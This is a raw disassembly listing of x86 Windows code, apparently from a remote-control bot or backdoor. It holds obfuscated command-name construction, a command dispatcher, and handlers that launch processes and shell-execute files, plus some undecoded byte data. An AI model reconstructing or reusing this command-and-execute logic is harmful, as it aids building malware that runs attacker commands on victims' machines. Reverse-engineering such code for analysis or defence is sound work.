db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403D10 proc near ; CODE XREF: sub_401AD2j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403D10
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+33h]
mov [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+1Eh]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403D10 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403D90 proc near ; CODE XREF: sub_401749j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403D90
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401424
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401424
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403D90 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403E00 proc near ; CODE XREF: sub_4011A4j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403E00
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_402207
lea ecx, [esi+49h]
mov [esp+14h+var_4], 0
call sub_402207
lea ecx, [esi+92h]
mov byte ptr [esp+14h+var_4], 1
call sub_402207
lea ecx, [esi+0DBh]
mov byte ptr [esp+14h+var_4], 2
call sub_402207
lea ecx, [esi+124h]
mov byte ptr [esp+14h+var_4], 3
call sub_402207
lea ecx, [esi+16Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_402207
lea ecx, [esi+1B6h]
mov byte ptr [esp+14h+var_4], 5
call sub_402207
lea ecx, [esi+1FFh]
mov byte ptr [esp+14h+var_4], 6
call sub_402207
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403E00 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403EE0 proc near ; CODE XREF: sub_40206Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403EE0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+1FFh]
mov [esp+14h+var_4], 6
call sub_401AD2
lea ecx, [esi+1B6h]
mov byte ptr [esp+14h+var_4], 5
call sub_401AD2
lea ecx, [esi+16Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_401AD2
lea ecx, [esi+124h]
mov byte ptr [esp+14h+var_4], 3
call sub_401AD2
lea ecx, [esi+0DBh]
mov byte ptr [esp+14h+var_4], 2
call sub_401AD2
lea ecx, [esi+92h]
mov byte ptr [esp+14h+var_4], 1
call sub_401AD2
lea ecx, [esi+49h]
mov byte ptr [esp+14h+var_4], 0
call sub_401AD2
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401AD2
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403EE0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_403FC0 proc near ; CODE XREF: sub_401D34j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403FC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 48h
push ebp
push esi
push edi
push 0
push 4
push 9
push 4Fh
lea eax, [esp+70h+var_3C]
push 2
mov esi, ecx
push eax
call sub_4019B5
add esp, 18h
push esi
mov ecx, eax
mov [esp+64h+var_4], 0
call sub_4017E4
lea ecx, [esi+0C29h]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
sub_403FC0 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Bh
push 3
push 9
push 0Eh
push 4
push 0Eh
push 12h
push 4Fh
lea edx, [esp+48h]
push 2
push edx
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 1
call sub_4017E4
push eax
lea eax, [esi+0BCDh]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 14h
push 15h
push 0Fh
push 2
push 1
push 4Fh
lea ecx, [esp+40h]
push 2
push ecx
call sub_4019B5
add esp, 24h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 2
call sub_4017E4
lea edx, [esi+0C57h]
push eax
push edx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 5
push 12h
push 15h
push 3
push 5
push 13h
push 4Fh
lea eax, [esp+44h]
push 2
push eax
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 3
call sub_4017E4
lea ecx, [esi+0DF5h]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Fh
push 6
push 0Eh
push 9
push 13h
push 19h
push 13h
push 4Fh
lea edx, [esp+48h]
push 2
push edx
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 4
call sub_4017E4
push eax
lea eax, [esi+0C85h]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 5
push 16h
push 0Fh
push 0Dh
push 5
push 12h
push 4Fh
lea ecx, [esp+44h]
push 2
push ecx
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 5
call sub_4017E4
lea edx, [esi+0B71h]
push eax
push edx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 13h
push 0Eh
push 4
push 8
push 13h
push 15h
push 0Ch
push 6
push 4Fh
lea eax, [esp+4Ch]
push 2
push eax
call sub_4019B5
add esp, 30h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 6
call sub_4017E4
lea ecx, [esi+0DC7h]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Eh
push 5
push 10h
push 0Fh
push 4Fh
lea edx, [esp+3Ch]
push 2
push edx
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 7
call sub_4017E4
push eax
lea eax, [esi+0D0Fh]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 14h
push 9
push 15h
push 11h
push 4Fh
lea ecx, [esp+3Ch]
push 2
push ecx
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 8
call sub_4017E4
lea edx, [esi+0D99h]
push eax
push edx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 4
push 0Dh
push 3
push 4Fh
lea eax, [esp+38h]
push 2
push eax
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 9
call sub_4017E4
lea ecx, [esi+0E23h]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 5
push 18h
push 5
push 4Fh
lea edx, [esp+38h]
push 2
push edx
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Ah
call sub_4017E4
push eax
lea eax, [esi+0D6Bh]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 13h
push 0Eh
push 4
push 4Fh
lea ecx, [esp+38h]
push 2
push ecx
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Bh
call sub_4017E4
lea edx, [esi+0D3Dh]
push eax
push edx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 5
push 0Dh
push 9
push 14h
push 10h
push 15h
push 0Ch
push 4Fh
lea eax, [esp+48h]
push 2
push eax
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Ch
call sub_4017E4
push eax
lea ecx, [esi+0CB3h]
push ecx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Bh
push 3
push 9
push 0Eh
push 4Fh
lea edx, [esp+3Ch]
push 2
push edx
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Dh
call sub_4017E4
push eax
lea eax, [esi+0CE1h]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
db 8Dh, 4Ch, 24h
dd 247C8924h, 0CE20E85Ch, 4E8DFFFFh, 0D3D6E809h, 4C8DFFFFh
dd 51500C24h, 0FFDC09E8h, 8C483FFh, 256A006Ah, 236A1D6Ah
dd 3424548Dh, 0C752286Ah, 0E742444h, 0E8000000h, 0FFFFD57Dh
dd 8B18C483h, 244C8DE8h, 2444C60Ch, 99E80F5Ch, 50FFFFD3h
dd 91E8CD8Bh, 50FFFFD3h, 4435F468h, 60B56800h, 0A8E8004Dh
dd 83FFFFD9h, 4C8D10C4h, 44C62424h, 0E80E5C24h, 0FFFFCDB2h
dd 448D206Ah, 6A4024h, 244C8D50h, 0CE2CE818h, 0C88BFFFFh
dd 5C2444C6h, 0D352E810h, 6850FFFFh, 4435F0h, 4E6E8568h
dd 0CB8BE800h, 0C483FFFFh, 2444C60Ch, 4C8D0E5Ch, 73E83C24h
dd 0E8FFFFCDh, 23EC3FCh, 0B8C88B90h, 10624DD3h, 0EAC1E1F7h
dd 244C8D06h, 556890Ch, 5C247C89h, 0FFCD51E8h, 244C8BFFh
dd 5D5E5F54h, 0D8964h, 83000000h, 90C354C4h, 2 dup(90909090h)
dd 54h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_404640 proc near ; CODE XREF: sub_401A32j
var_88 = dword ptr -88h
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push 0FFFFFFFFh
push offset SEH_404640
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 7Ch
push ebx
push ebp
push esi
mov esi, [esp+94h+arg_0]
mov ebp, ecx
push edi
lea ebx, [esi+2Ah]
push 0
mov ecx, ebx
mov [esp+9Ch+var_88], ebp
call sub_40146F
mov cl, [eax]
lea edi, [esi+69h]
cmp cl, 23h
jnz short loc_404682
push ebx
jmp short loc_404686
; ---------------------------------------------------------------------------
loc_404682: ; CODE XREF: sub_404640+3Dj
lea eax, [esi+15h]
push eax
loc_404686: ; CODE XREF: sub_404640+40j
mov ecx, edi
call sub_401FBE
mov al, [esi+94h]
test al, al
jz short loc_4046A2
lea ecx, [esi+15h]
push ecx
mov ecx, edi
call sub_401FBE
loc_4046A2: ; CODE XREF: sub_404640+55j
mov al, [esi+95h]
test al, al
jz short loc_40471F
lea ecx, [esp+98h+var_6C]
call sub_401424
push offset aO ; " -o"
mov ecx, esi
mov [esp+9Ch+var_4], 0
call sub_4013E3
add eax, 3
lea edx, [esp+98h+var_54]
push eax
push edx
mov ecx, esi
call sub_401E2E
push eax
lea ecx, [esp+9Ch+var_6C]
mov byte ptr [esp+9Ch+var_4], 1
call sub_401FBE
lea ecx, [esp+98h+var_54]
mov byte ptr [esp+98h+var_4], 0
call sub_401226
lea eax, [esp+98h+var_6C]
mov ecx, edi
push eax
call sub_401FBE
lea ecx, [esp+98h+var_6C]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
loc_40471F: ; CODE XREF: sub_404640+6Aj
push offset asc_443600 ; " "
lea ecx, [esp+9Ch+var_6C]
push 0
push ecx
mov ecx, esi
call sub_4016AE
lea edx, [esp+98h+var_54]
mov ebx, 2
push 1
push edx
mov ecx, eax
mov [esp+0A0h+var_4], ebx
call sub_401E2E
lea edi, [esi+7Eh]
push eax
mov ecx, edi
mov byte ptr [esp+9Ch+var_4], 3
call sub_401FBE
lea ecx, [esp+98h+var_54]
mov byte ptr [esp+98h+var_4], bl
call sub_401226
lea ecx, [esp+98h+var_6C]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
push 0
lea ecx, [ebp+32Ch]
call sub_40146F
push 0
mov ecx, esi
mov ebp, eax
call sub_40146F
mov al, [eax]
mov cl, [ebp+0]
cmp al, cl
jnz loc_4049EA
push 0
push 14h
push 1
push 5
push 10h
push 5
push 12h
push 4Eh
push 14h
push 0Fh
lea ecx, [esp+0C0h+var_54]
push ebx
push ecx
call sub_4019B5
add esp, 30h
mov ecx, eax
mov [esp+98h+var_4], 4
call sub_4017E4
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_40480F
sub esp, 18h
lea edx, [esi+15h]
mov ecx, esp
mov [esp+0B0h+arg_0], esp
push edx
call sub_4014C9
mov ecx, offset word_448C9E
call sub_401CD0
test eax, eax
jz short loc_40480F
mov bl, 1
jmp short loc_404811
; ---------------------------------------------------------------------------
loc_40480F: ; CODE XREF: sub_404640+1A6j
; sub_404640+1C9j
xor bl, bl
loc_404811: ; CODE XREF: sub_404640+1CDj
lea ecx, [esp+98h+var_54]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
test bl, bl
jz loc_4049CE
push offset asc_443600 ; " "
lea eax, [esp+9Ch+var_54]
push 1
push eax
mov ecx, esi
call sub_4016AE
push offset byte_446F70
mov ecx, eax
mov [esp+9Ch+var_4], 5
call sub_4012EE
test eax, eax
lea ecx, [esp+98h+var_54]
mov [esp+98h+var_4], 0FFFFFFFFh
setz bl
call sub_401226
test bl, bl
jnz loc_4049EA
push offset asc_443600 ; " "
lea ecx, [esp+9Ch+var_54]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+98h+var_4], 6
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+98h+var_54]
mov ebp, eax
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
test ebp, ebp
jz loc_4049EA
push 20h
mov ecx, esi
call sub_401D20
lea edx, [esp+98h+var_84]
push eax
push edx
mov ecx, esi
call sub_401E2E
mov ebx, 7
push 20h
lea ecx, [esp+9Ch+var_84]
mov [esp+9Ch+var_4], ebx
call sub_401D20
push eax
lea eax, [esp+9Ch+var_54]
push eax
lea ecx, [esp+0A0h+var_84]
call sub_401E2E
push eax
lea ecx, [esp+9Ch+var_84]
mov byte ptr [esp+9Ch+var_4], 8
call sub_40200E
lea ecx, [esp+98h+var_54]
mov byte ptr [esp+98h+var_4], bl
call sub_401226
lea ecx, [esp+98h+var_84]
push ecx
mov ecx, esi
call sub_401FBE
push offset asc_443600 ; " "
lea edx, [esp+9Ch+var_24]
push 0
push edx
mov ecx, esi
call sub_4016AE
lea ecx, [esp+98h+var_3C]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+0A0h+var_4], 9
call sub_401E2E
push eax
mov ecx, edi
mov byte ptr [esp+9Ch+var_4], 0Ah
call sub_401FBE
lea ecx, [esp+98h+var_3C]
mov byte ptr [esp+98h+var_4], 9
call sub_401226
lea ecx, [esp+98h+var_24]
mov byte ptr [esp+98h+var_4], bl
call sub_401226
mov al, [esp+98h+arg_4]
test al, al
jnz short loc_4049A7
test ebp, ebp
jle short loc_4049B8
loc_404998: ; CODE XREF: sub_404640+363j
mov ecx, [esp+98h+var_88]
push esi
call sub_401F69
dec ebp
jnz short loc_404998
jmp short loc_4049B8
; ---------------------------------------------------------------------------
loc_4049A7: ; CODE XREF: sub_404640+352j
test ebp, ebp
jle short loc_4049B8
loc_4049AB: ; CODE XREF: sub_404640+376j
mov ecx, [esp+98h+var_88]
push esi
call sub_401442
dec ebp
jnz short loc_4049AB
loc_4049B8: ; CODE XREF: sub_404640+356j
; sub_404640+365j ...
lea ecx, [esp+98h+var_84]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
jmp short loc_4049EA
; ---------------------------------------------------------------------------
loc_4049CE: ; CODE XREF: sub_404640+1E7j
mov al, [esp+98h+arg_4]
mov ecx, [esp+98h+var_88]
test al, al
push esi
jnz short loc_4049E5
call sub_401F69
jmp short loc_4049EA
; ---------------------------------------------------------------------------
loc_4049E5: ; CODE XREF: sub_404640+39Cj
call sub_401442
loc_4049EA: ; CODE XREF: sub_404640+162j
; sub_404640+232j ...
mov ecx, [esp+98h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 88h
retn 8
sub_404640 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404B10 proc near ; CODE XREF: sub_401F69j
arg_0 = dword ptr 4
push esi
push edi
mov edi, ecx
mov ecx, offset word_448CA2
call sub_4014D3
mov esi, [esp+8+arg_0]
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jz short loc_404B56
sub esp, 18h
lea eax, [esi+15h]
mov ecx, esp
mov [esp+20h+arg_0], esp
push eax
call sub_4014C9
mov ecx, offset word_448C9E
call sub_401CD0
test eax, eax
jnz short loc_404B56
xor al, al
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_404B56: ; CODE XREF: sub_404B10+1Dj
; sub_404B10+3Dj
sub esp, 18h
lea edx, [esi+15h]
mov ecx, esp
mov [esp+20h+arg_0], esp
push edx
call sub_4014C9
mov ecx, offset word_448C9E
call sub_401CD0
test eax, eax
jnz short loc_404B96
mov al, [edi+469h]
test al, al
jz short loc_404B96
push 0
lea ecx, [esi+2Ah]
call sub_40146F
cmp byte ptr [eax], 23h
jz short loc_404B96
xor al, al
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_404B96: ; CODE XREF: sub_404B10+64j
; sub_404B10+6Ej ...
push esi
mov ecx, edi
call sub_401442
pop edi
pop esi
retn 4
sub_404B10 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404BE0 proc near ; CODE XREF: sub_401442j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 1
lea ecx, [esi+7Eh]
call sub_4017E4
push eax
mov ecx, offset dword_447158
call sub_401AF0
test eax, eax
jz short loc_404C0A
mov ecx, [eax+2Ah]
push esi
mov eax, [ecx]
call dword ptr [eax]
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_404C0A: ; CODE XREF: sub_404BE0+1Cj
xor al, al
pop esi
retn 4
sub_404BE0 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404C20 proc near ; CODE XREF: sub_40185Cj
push esi
push edi
mov edi, dword_50F8A4
mov esi, ecx
call edi ; dword_50F8A4
mov edx, dword_4D60D9
mov ecx, [esi+421h]
sub eax, edx
cmp eax, ecx
jbe short loc_404C4F
mov ecx, offset byte_4D60B5
call sub_401D0C
call edi ; dword_50F8A4
mov dword_4D60D9, eax
loc_404C4F: ; CODE XREF: sub_404C20+1Cj
pop edi
mov al, 1
pop esi
retn
sub_404C20 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404C70 proc near ; CODE XREF: sub_4017C6j
var_1B4 = dword ptr -1B4h
var_1B0 = byte ptr -1B0h
var_1AC = dword ptr -1ACh
var_1A8 = byte ptr -1A8h
var_198 = byte ptr -198h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
var_17C = dword ptr -17Ch
var_178 = byte ptr -178h
var_168 = dword ptr -168h
var_164 = byte ptr -164h
var_14D = byte ptr -14Dh
var_14C = byte ptr -14Ch
var_130 = byte ptr -130h
var_11C = byte ptr -11Ch
var_104 = dword ptr -104h
var_100 = byte ptr -100h
var_D0 = dword ptr -0D0h
var_A0 = byte ptr -0A0h
var_8C = byte ptr -8Ch
var_54 = byte ptr -54h
var_50 = byte ptr -50h
var_48 = byte ptr -48h
var_30 = byte ptr -30h
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_404C70
push eax
mov large fs:0, esp
sub esp, 15Ch
push ebx
push ebp
push esi
mov esi, [esp+174h+arg_0]
push edi
mov edi, ecx
lea ebp, [esi+7Eh]
lea ecx, [edi+0C29h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_404CE4
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [edi+2E3h]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D60B5
call sub_401118
jmp loc_405675
; ---------------------------------------------------------------------------
loc_404CE4: ; CODE XREF: sub_404C70+40j
lea ecx, [edi+0D6Bh]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_404E75
push 1
push offset asc_443600 ; " "
lea edx, [esp+180h+var_14C]
push 2
push edx
mov ecx, esi
call sub_4011EA
push offset asc_443600 ; " "
lea eax, [esp+17Ch+var_100]
push 1
push eax
mov ecx, esi
mov [esp+184h+var_4], 0
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+178h+var_4], 1
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
cmp eax, 1
lea ecx, [esp+178h+var_100]
mov byte ptr [esp+178h+var_4], 0
setz bl
call sub_401226
lea ecx, [esp+178h+var_164]
call sub_401424
push 2000h
push 2000h
lea ecx, [esp+180h+var_164]
mov byte ptr [esp+180h+var_4], 2
call sub_401C5D
push eax
lea ecx, [esp+180h+var_14C]
call sub_4017E4
push eax
nop
call near ptr 2810000h
lea ecx, [esp+178h+var_164]
push ecx
lea ecx, [esp+17Ch+var_14C]
call sub_401FBE
mov ecx, 11h
xor eax, eax
lea edi, [esp+178h+var_D0]
lea edx, [esp+178h+var_11C]
rep stosd
lea eax, [esp+178h+var_D0]
push edx
push eax
push 0
neg bl
push 0
push 28h
sbb ebx, ebx
push 1
and ebx, 5
push 0
push 0
lea ecx, [esp+198h+var_14C]
mov [esp+198h+var_D0], 44h
mov word ptr [esp+198h+var_A0], bx
call sub_4014D3
push eax
push 0
call near ptr 2800000h
nop
test eax, eax
jnz short loc_404E49
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push offset aExec_error ; "exec.error"
push ecx
push edx
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 0
call sub_401226
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_14C]
jmp loc_40566E
; ---------------------------------------------------------------------------
loc_404E49: ; CODE XREF: sub_404C70+18Cj
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 0
call sub_401226
lea ecx, [esp+178h+var_14C]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp loc_405675
; ---------------------------------------------------------------------------
loc_404E75: ; CODE XREF: sub_404C70+89j
lea ecx, [edi+0B71h]
call sub_4014D3
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_404F24
push 1
push offset asc_443600 ; " "
lea eax, [esp+180h+var_164]
push 1
push eax
mov ecx, esi
call sub_4011EA
mov ecx, offset byte_4E6E85
mov [esp+178h+var_4], 3
call sub_4017E4
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4012EE
test eax, eax
jnz short loc_404F10
mov al, byte_4478D6
test al, al
jz short loc_404EE0
push offset dword_447874
mov ecx, offset dword_448DB0
call sub_401447
loc_404EE0: ; CODE XREF: sub_404C70+25Fj
mov al, byte_44791F
test al, al
jz short loc_404EF8
push offset byte_44794F
mov ecx, offset dword_448DB0
call sub_401942
loc_404EF8: ; CODE XREF: sub_404C70+277j
mov ecx, offset dword_448DB0
call sub_401E5B
mov byte_4D60CC, 0
mov byte_4E6E84, 0
loc_404F10: ; CODE XREF: sub_404C70+256j
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_164]
jmp loc_40566E
; ---------------------------------------------------------------------------
loc_404F24: ; CODE XREF: sub_404C70+21Aj
lea ecx, [edi+0C57h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_404F6C
lea ecx, [esi+69h]
call sub_4014D3
push eax
mov ecx, offset word_4E6E9A
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
mov ecx, offset byte_4D60B5
call sub_401118
jmp loc_405675
; ---------------------------------------------------------------------------
loc_404F6C: ; CODE XREF: sub_404C70+2C9j
lea ecx, [edi+0DC7h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405029
push eax
push 13h
push 0Eh
push 4
push 8
push 13h
push 15h
push 0Ch
push 6
lea eax, [esp+19Ch+var_14C]
push 50h
push eax
call sub_4019B5
add esp, 2Ch
mov esi, eax
push 0
push 5
push 18h
push 5
push 4Eh
push 7
push 9
push 6
push 0Eh
push 0Fh
push 3
push 10h
lea ecx, [esp+1A8h+var_164]
push 9
push ecx
mov [esp+1B0h+var_4], 4
call sub_4019B5
add esp, 38h
mov edi, eax
mov ecx, esi
mov byte ptr [esp+178h+var_4], 5
call sub_4017E4
push eax
mov ecx, edi
call sub_4017E4
push eax
call sub_401299
add esp, 8
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 4
call sub_401226
lea ecx, [esp+178h+var_14C]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp loc_405675
; ---------------------------------------------------------------------------
loc_405029: ; CODE XREF: sub_404C70+311j
lea ecx, [edi+0D0Fh]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405147
lea ecx, [esp+178h+var_14C]
call sub_401424
push offset asc_443600 ; " "
lea edx, [esp+17Ch+var_11C]
push 1
push edx
mov ecx, esi
mov [esp+184h+var_4], 6
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+178h+var_4], 7
call sub_4017E4
push eax
lea ecx, [esp+17Ch+var_14C]
call sub_401A87
lea ecx, [esp+178h+var_11C]
mov byte ptr [esp+178h+var_4], 6
call sub_401226
lea ecx, [esp+178h+var_164]
call sub_401424
push 1
mov bl, 8
push 0
push 0
lea ecx, [esp+184h+var_14C]
mov byte ptr [esp+184h+var_4], bl
call sub_4017E4
push eax
push offset aOpen ; "open"
push 0
nop
call near ptr 7CA41110h
movsx eax, al
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4020F4
lea ecx, [esp+178h+var_11C]
mov byte ptr [esp+178h+var_4], 9
push ecx
lea ecx, [esp+17Ch+var_164]
call sub_40200E
lea ecx, [esp+178h+var_11C]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 6
call sub_401226
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_14C]
jmp loc_40566E
; ---------------------------------------------------------------------------
loc_405147: ; CODE XREF: sub_404C70+3CEj
lea ecx, [edi+0D99h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_40516A
mov byte_4D60CC, al
mov al, 1
jmp loc_405675
; ---------------------------------------------------------------------------
loc_40516A: ; CODE XREF: sub_404C70+4ECj
lea ecx, [edi+0D3Dh]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405431
lea ecx, [esp+178h+var_11C]
call sub_401424
push offset asc_443600 ; " "
lea ecx, [esp+17Ch+var_164]
push 1
mov ebx, 0Ah
push ecx
mov ecx, esi
mov [esp+184h+var_4], ebx
call sub_4016AE
push offset byte_446F70
